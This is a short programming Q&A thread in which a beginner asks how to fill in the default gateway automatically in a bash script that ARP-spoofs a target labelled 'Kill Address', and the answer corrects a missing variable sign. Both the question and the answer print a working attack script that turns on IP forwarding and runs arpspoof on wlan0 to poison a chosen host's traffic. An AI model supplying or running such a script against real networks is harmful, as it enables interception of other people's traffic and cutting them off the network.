1

This script works, but I would like to remove the need to type in the default gateway.

read -p "Gateway address: " gtw
echo "$yip"
read -p "Target IP Address: " tip
echo "$tip"
arpspoof -i "wlan0" "$gtw" -t "$tip"

I tried using a string (I think it's called a sting. -> The top line), but I must not being doing it correctly. I've spent a few hours looking for other posts, but I'm not sure what to call it. This is only my second script I've written.

gtw=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" "gtw" -t "$tip"

1 Answer 1

3

Missing $

gtw=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" "$gtw" -t "$tip"

or just include it directly in the command

read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" $(route -n|grep ^0.0.0.0|cut -d' ' -f 10) -t "$tip"
Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.